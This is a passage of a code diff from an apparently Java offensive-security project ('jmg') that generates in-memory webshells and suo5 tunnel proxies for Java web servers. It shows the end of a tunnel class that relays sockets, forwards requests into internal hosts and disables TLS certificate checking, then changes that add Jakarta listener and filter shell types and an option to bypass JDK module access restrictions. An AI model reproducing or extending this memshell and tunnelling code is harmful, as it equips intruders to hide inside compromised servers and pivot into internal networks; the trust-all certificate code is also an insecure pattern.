// System.out.println("socket error " + e.toString());
|
||||||
|
// e.printStackTrace();
|
||||||
|
} finally {
|
||||||
|
if (sc != null) {
|
||||||
|
sc.close();
|
||||||
|
}
|
||||||
|
if (conn != null) {
|
||||||
|
conn.disconnect();
|
||||||
|
}
|
||||||
|
respOutStream.close();
|
||||||
|
this.remove(clientId);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void run() {
|
||||||
|
try {
|
||||||
|
readSocket(gInStream, gOutStream, true);
|
||||||
|
} catch (Exception e) {
|
||||||
|
// System.out.printf("read socket error, %s\n", e);
|
||||||
|
// e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static HashMap collectAddr() {
|
||||||
|
HashMap addrs = new HashMap();
|
||||||
|
try {
|
||||||
|
Enumeration nifs = NetworkInterface.getNetworkInterfaces();
|
||||||
|
while (nifs.hasMoreElements()) {
|
||||||
|
NetworkInterface nif = (NetworkInterface) nifs.nextElement();
|
||||||
|
Enumeration addresses = nif.getInetAddresses();
|
||||||
|
while (addresses.hasMoreElements()) {
|
||||||
|
InetAddress addr = (InetAddress) addresses.nextElement();
|
||||||
|
String s = addr.getHostAddress();
|
||||||
|
if (s != null) {
|
||||||
|
// fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4
|
||||||
|
int ifaceIndex = s.indexOf('%');
|
||||||
|
if (ifaceIndex != -1) {
|
||||||
|
s = s.substring(0, ifaceIndex);
|
||||||
|
}
|
||||||
|
addrs.put((Object) s, (Object) Boolean.TRUE);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
// System.out.printf("read socket error, %s\n", e);
|
||||||
|
// e.printStackTrace();
|
||||||
|
}
|
||||||
|
return addrs;
|
||||||
|
}
|
||||||
|
|
||||||
|
boolean isLocalAddr(String url) throws Exception {
|
||||||
|
String ip = (new URL(url)).getHost();
|
||||||
|
return addrs.containsKey(ip);
|
||||||
|
}
|
||||||
|
|
||||||
|
HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception {
|
||||||
|
String method = request.getMethod();
|
||||||
|
URL u = new URL(rUrl);
|
||||||
|
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
|
||||||
|
conn.setRequestMethod(method);
|
||||||
|
try {
|
||||||
|
// conn.setConnectTimeout(3000);
|
||||||
|
conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)});
|
||||||
|
// conn.setReadTimeout(0);
|
||||||
|
conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)});
|
||||||
|
} catch (Exception e) {
|
||||||
|
// java1.4
|
||||||
|
}
|
||||||
|
conn.setDoOutput(true);
|
||||||
|
conn.setDoInput(true);
|
||||||
|
|
||||||
|
// ignore ssl verify
|
||||||
|
// ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java
|
||||||
|
if (HttpsURLConnection.class.isInstance(conn)) {
|
||||||
|
((HttpsURLConnection) conn).setHostnameVerifier(this);
|
||||||
|
SSLContext sslCtx = SSLContext.getInstance("SSL");
|
||||||
|
sslCtx.init(null, new TrustManager[]{this}, null);
|
||||||
|
((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory());
|
||||||
|
}
|
||||||
|
|
||||||
|
Enumeration headers = request.getHeaderNames();
|
||||||
|
while (headers.hasMoreElements()) {
|
||||||
|
String k = (String) headers.nextElement();
|
||||||
|
conn.setRequestProperty(k, request.getHeader(k));
|
||||||
|
}
|
||||||
|
|
||||||
|
OutputStream rout = conn.getOutputStream();
|
||||||
|
rout.write(marshal(dataMap));
|
||||||
|
rout.flush();
|
||||||
|
rout.close();
|
||||||
|
conn.getResponseCode();
|
||||||
|
return conn;
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean verify(String hostname, SSLSession session) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {
|
||||||
|
}
|
||||||
|
|
||||||
|
public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {
|
||||||
|
}
|
||||||
|
|
||||||
|
public X509Certificate[] getAcceptedIssuers() {
|
||||||
|
return new X509Certificate[0];
|
||||||
|
}
|
||||||
|
|
||||||
|
private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private static synchronized Object getFV(Object var0, String var1) throws Exception {
|
||||||
|
Field var2 = null;
|
||||||
|
Class var3 = var0.getClass();
|
||||||
|
|
||||||
|
while (var3 != Object.class) {
|
||||||
|
try {
|
||||||
|
var2 = var3.getDeclaredField(var1);
|
||||||
|
break;
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
var3 = var3.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (var2 == null) {
|
||||||
|
throw new NoSuchFieldException(var1);
|
||||||
|
} else {
|
||||||
|
var2.setAccessible(true);
|
||||||
|
return var2.get(var0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
@@ -1,9 +1,7 @@
|
|||||||
package jmg.suo5.util;
|
package jmg.suo5.util;
|
||||||
|
|
||||||
import jmg.core.config.Constants;
|
import jmg.core.config.Constants;
|
||||||
import jmg.suo5.memshell.Suo5Filter;
|
import jmg.suo5.memshell.*;
|
||||||
import jmg.suo5.memshell.Suo5Interceptor;
|
|
||||||
import jmg.suo5.memshell.Suo5Listener;
|
|
||||||
|
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
@@ -33,10 +31,15 @@ public class ShellUtil {
|
|||||||
SHELL_CLASSNAME_MAP.put(Suo5Listener.class.getSimpleName(), Suo5Listener.class.getName());
|
SHELL_CLASSNAME_MAP.put(Suo5Listener.class.getSimpleName(), Suo5Listener.class.getName());
|
||||||
SHELL_CLASSNAME_MAP.put(Suo5Filter.class.getSimpleName(), Suo5Filter.class.getName());
|
SHELL_CLASSNAME_MAP.put(Suo5Filter.class.getSimpleName(), Suo5Filter.class.getName());
|
||||||
SHELL_CLASSNAME_MAP.put(Suo5Interceptor.class.getSimpleName(), Suo5Interceptor.class.getName());
|
SHELL_CLASSNAME_MAP.put(Suo5Interceptor.class.getSimpleName(), Suo5Interceptor.class.getName());
|
||||||
|
SHELL_CLASSNAME_MAP.put(Suo5JakartaListener.class.getSimpleName(), Suo5JakartaListener.class.getName());
|
||||||
|
SHELL_CLASSNAME_MAP.put(Suo5JakartaFilter.class.getSimpleName(), Suo5JakartaFilter.class.getName());
|
||||||
|
|
||||||
Map<String, String> suo5Map = new HashMap();
|
Map<String, String> suo5Map = new HashMap();
|
||||||
suo5Map.put(Constants.SHELL_FILTER, Suo5Filter.class.getSimpleName());
|
suo5Map.put(Constants.SHELL_FILTER, Suo5Filter.class.getSimpleName());
|
||||||
suo5Map.put(Constants.SHELL_LISTENER, Suo5Listener.class.getSimpleName());
|
suo5Map.put(Constants.SHELL_LISTENER, Suo5Listener.class.getSimpleName());
|
||||||
suo5Map.put(Constants.SHELL_INTERCEPTOR, Suo5Interceptor.class.getSimpleName());
|
suo5Map.put(Constants.SHELL_INTERCEPTOR, Suo5Interceptor.class.getSimpleName());
|
||||||
|
suo5Map.put(Constants.SHELL_JAKARTA_FILTER, Suo5JakartaFilter.class.getSimpleName());
|
||||||
|
suo5Map.put(Constants.SHELL_JAKARTA_LISTENER, Suo5JakartaListener.class.getSimpleName());
|
||||||
toolMap.put(Constants.TOOL_SUO5, suo5Map);
|
toolMap.put(Constants.TOOL_SUO5, suo5Map);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -59,6 +59,8 @@ public class CustomHelper implements IHelper {
|
|||||||
enumShellType.add(Constants.SHELL_LISTENER);
|
enumShellType.add(Constants.SHELL_LISTENER);
|
||||||
enumShellType.add(Constants.SHELL_FILTER);
|
enumShellType.add(Constants.SHELL_FILTER);
|
||||||
enumShellType.add(Constants.SHELL_INTERCEPTOR);
|
enumShellType.add(Constants.SHELL_INTERCEPTOR);
|
||||||
|
enumShellType.add(Constants.SHELL_JAKARTA_LISTENER);
|
||||||
|
enumShellType.add(Constants.SHELL_JAKARTA_FILTER);
|
||||||
shell_type.setEnumValue(enumShellType);
|
shell_type.setEnumValue(enumShellType);
|
||||||
|
|
||||||
IArg gadgetType = ShellHelperPlugin.pluginHelper.createArg();
|
IArg gadgetType = ShellHelperPlugin.pluginHelper.createArg();
|
||||||
@@ -124,6 +126,18 @@ public class CustomHelper implements IHelper {
|
|||||||
output_path.setDescription("自定义输出路径");
|
output_path.setDescription("自定义输出路径");
|
||||||
list.add(output_path);
|
list.add(output_path);
|
||||||
|
|
||||||
|
IArg enable_bypass_jdk_module = ShellHelperPlugin.pluginHelper.createArg();
|
||||||
|
enable_bypass_jdk_module.setName("bypass_jdk_module");
|
||||||
|
enable_bypass_jdk_module.setType(7);
|
||||||
|
List<String> enumenableBypass = new ArrayList();
|
||||||
|
enumenableBypass.add(String.valueOf(false));
|
||||||
|
enumenableBypass.add(String.valueOf(true));
|
||||||
|
enable_bypass_jdk_module.setEnumValue(enumenableBypass);
|
||||||
|
enable_bypass_jdk_module.setDefaultValue(String.valueOf(false));
|
||||||
|
enable_bypass_jdk_module.setRequired(false);
|
||||||
|
enable_bypass_jdk_module.setDescription("绕过高版本 JDK Module 访问限制");
|
||||||
|
list.add(enable_bypass_jdk_module);
|
||||||
|
|
||||||
binder.setArgsList(list);
|
binder.setArgsList(list);
|
||||||
return binder;
|
return binder;
|
||||||
}
|
}
|
||||||
@@ -151,6 +165,7 @@ public class CustomHelper implements IHelper {
|
|||||||
if (config.getUrlPattern() == null) config.setUrlPattern("/*");
|
if (config.getUrlPattern() == null) config.setUrlPattern("/*");
|
||||||
config.setInjectorSimpleClassName(CommonUtil.getSimpleName(config.getInjectorClassName()));
|
config.setInjectorSimpleClassName(CommonUtil.getSimpleName(config.getInjectorClassName()));
|
||||||
if (config.getSavePath() == null) config.setSavePath(System.getProperty("user.dir"));
|
if (config.getSavePath() == null) config.setSavePath(System.getProperty("user.dir"));
|
||||||
|
if (customArgs.get("bypass_jdk_module") != null) config.setEnableBypassJDKModule(Boolean.parseBoolean((String) customArgs.get("bypass_jdk_module")));
|
||||||
|
|
||||||
config.setSavePath(CommonUtil.getFileOutputPath(config.getOutputFormat(), config.getInjectorSimpleClassName(), config.getSavePath()));
|
config.setSavePath(CommonUtil.getFileOutputPath(config.getOutputFormat(), config.getInjectorSimpleClassName(), config.getSavePath()));
|
||||||
File f;
|
File f;
|
||||||
|
|||||||
@@ -52,6 +52,8 @@ public class ProxyHelper implements IHelper {
|
|||||||
enumShellType.add(Constants.SHELL_FILTER);
|
enumShellType.add(Constants.SHELL_FILTER);
|
||||||
enumShellType.add(Constants.SHELL_LISTENER);
|
enumShellType.add(Constants.SHELL_LISTENER);
|
||||||
enumShellType.add(Constants.SHELL_INTERCEPTOR);
|
enumShellType.add(Constants.SHELL_INTERCEPTOR);
|
||||||
|
enumShellType.add(Constants.SHELL_JAKARTA_LISTENER);
|
||||||
|
enumShellType.add(Constants.SHELL_JAKARTA_FILTER);
|
||||||
shell_type.setEnumValue(enumShellType);
|
shell_type.setEnumValue(enumShellType);
|
||||||
shell_type.setDefaultValue(Constants.SHELL_LISTENER);
|
shell_type.setDefaultValue(Constants.SHELL_LISTENER);
|
||||||
shell_type.setRequired(true);
|
shell_type.setRequired(true);
|
||||||
@@ -109,6 +111,18 @@ public class ProxyHelper implements IHelper {
|
|||||||
output_path.setRequired(false);
|
output_path.setRequired(false);
|
||||||
output_path.setDescription("自定义输出路径");
|
output_path.setDescription("自定义输出路径");
|
||||||
list.add(output_path);
|
list.add(output_path);
|
||||||
|
|
||||||
|
IArg enable_bypass_jdk_module = ShellHelperPlugin.pluginHelper.createArg();
|
||||||
|
enable_bypass_jdk_module.setName("bypass_jdk_module");
|
||||||
|
enable_bypass_jdk_module.setType(7);
|
||||||
|
List<String> enumenableBypass = new ArrayList();
|
||||||
|
enumenableBypass.add(String.valueOf(false));
|
||||||
|
enumenableBypass.add(String.valueOf(true));
|
||||||
|
enable_bypass_jdk_module.setEnumValue(enumenableBypass);
|
||||||
|
enable_bypass_jdk_module.setDefaultValue(String.valueOf(false));
|
||||||
|
enable_bypass_jdk_module.setRequired(false);
|
||||||
|
enable_bypass_jdk_module.setDescription("绕过高版本 JDK Module 访问限制");
|
||||||
|
list.add(enable_bypass_jdk_module);
|
||||||
binder.setArgsList(list);
|
binder.setArgsList(list);
|
||||||
return binder;
|
return binder;
|
||||||
}
|
}
|
||||||
@@ -149,6 +163,7 @@ public class ProxyHelper implements IHelper {
|
|||||||
config.setShellClassName(ClassNameUtil.getRandomShellClassName(config.getShellType()));
|
config.setShellClassName(ClassNameUtil.getRandomShellClassName(config.getShellType()));
|
||||||
if (config.getShellSimpleClassName() == null)
|
if (config.getShellSimpleClassName() == null)
|
||||||
config.setShellSimpleClassName(CommonUtil.getSimpleName(config.getShellClassName()));
|
config.setShellSimpleClassName(CommonUtil.getSimpleName(config.getShellClassName()));
|
||||||
|
if (customArgs.get("bypass_jdk_module") != null) config.setEnableBypassJDKModule(Boolean.parseBoolean((String) customArgs.get("bypass_jdk_module")));
|
||||||
|
|
||||||
config.setSavePath(CommonUtil.getFileOutputPath(config.getOutputFormat(), config.getInjectorSimpleClassName(), config.getSavePath()));
|
config.setSavePath(CommonUtil.getFileOutputPath(config.getOutputFormat(), config.getInjectorSimpleClassName(), config.getSavePath()));
|
||||||
|
|
||||||
|
|||||||
@@ -49,6 +49,8 @@ public class ShellHelper implements IHelper {
|
|||||||
enumShellType.add(Constants.SHELL_LISTENER);
|
enumShellType.add(Constants.SHELL_LISTENER);
|
||||||
enumShellType.add(Constants.SHELL_FILTER);
|
enumShellType.add(Constants.SHELL_FILTER);
|
||||||
enumShellType.add(Constants.SHELL_INTERCEPTOR);
|
enumShellType.add(Constants.SHELL_INTERCEPTOR);
|
||||||
|
enumShellType.add(Constants.SHELL_JAKARTA_LISTENER);
|
||||||
|
enumShellType.add(Constants.SHELL_JAKARTA_FILTER);
|
||||||
shell_type.setEnumValue(enumShellType);
|
shell_type.setEnumValue(enumShellType);
|
||||||
|
|
||||||
shell_type.setDefaultValue("Listener");
|
shell_type.setDefaultValue("Listener");
|
||||||
@@ -134,6 +136,18 @@ public class ShellHelper implements IHelper {
|
|||||||
output_path.setDescription("自定义输出路径");
|
output_path.setDescription("自定义输出路径");
|
||||||
list.add(output_path);
|
list.add(output_path);
|
||||||
|
|
||||||
|
IArg enable_bypass_jdk_module = ShellHelperPlugin.pluginHelper.createArg();
|
||||||
|
enable_bypass_jdk_module.setName("bypass_jdk_module");
|
||||||
|
enable_bypass_jdk_module.setType(7);
|
||||||
|
List<String> enumenableBypass = new ArrayList();
|
||||||
|
enumenableBypass.add(String.valueOf(false));
|
||||||
|
enumenableBypass.add(String.valueOf(true));
|
||||||
|
enable_bypass_jdk_module.setEnumValue(enumenableBypass);
|
||||||
|
enable_bypass_jdk_module.setDefaultValue(String.valueOf(false));
|
||||||
|
enable_bypass_jdk_module.setRequired(false);
|
||||||
|
enable_bypass_jdk_module.setDescription("绕过高版本 JDK Module 访问限制");
|
||||||
|
list.add(enable_bypass_jdk_module);
|
||||||
|
|
||||||
binder.setArgsList(list);
|
binder.setArgsList(list);
|
||||||
return binder;
|
return binder;
|
||||||
}
|
}
|
||||||
@@ -179,6 +193,7 @@ public class ShellHelper implements IHelper {
|
|||||||
config.setShellClassName(ClassNameUtil.getRandomShellClassName(config.getShellType()));
|
config.setShellClassName(ClassNameUtil.getRandomShellClassName(config.getShellType()));
|
||||||
if (config.getShellSimpleClassName() == null)
|
if (config.getShellSimpleClassName() == null)
|
||||||
config.setShellSimpleClassName(CommonUtil.getSimpleName(config.getShellClassName()));
|
config.setShellSimpleClassName(CommonUtil.getSimpleName(config.getShellClassName()));
|
||||||
|
if (customArgs.get("bypass_jdk_module") != null) config.setEnableBypassJDKModule(Boolean.parseBoolean((String) customArgs.get("bypass_jdk_module")));
|
||||||
|
|
||||||
config.setSavePath(CommonUtil.getFileOutputPath(config.getOutputFormat(), config.getInjectorSimpleClassName(), config.getSavePath()));
|
config.setSavePath(CommonUtil.getFileOutputPath(config.getOutputFormat(), config.getInjectorSimpleClassName(), config.getSavePath()));
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user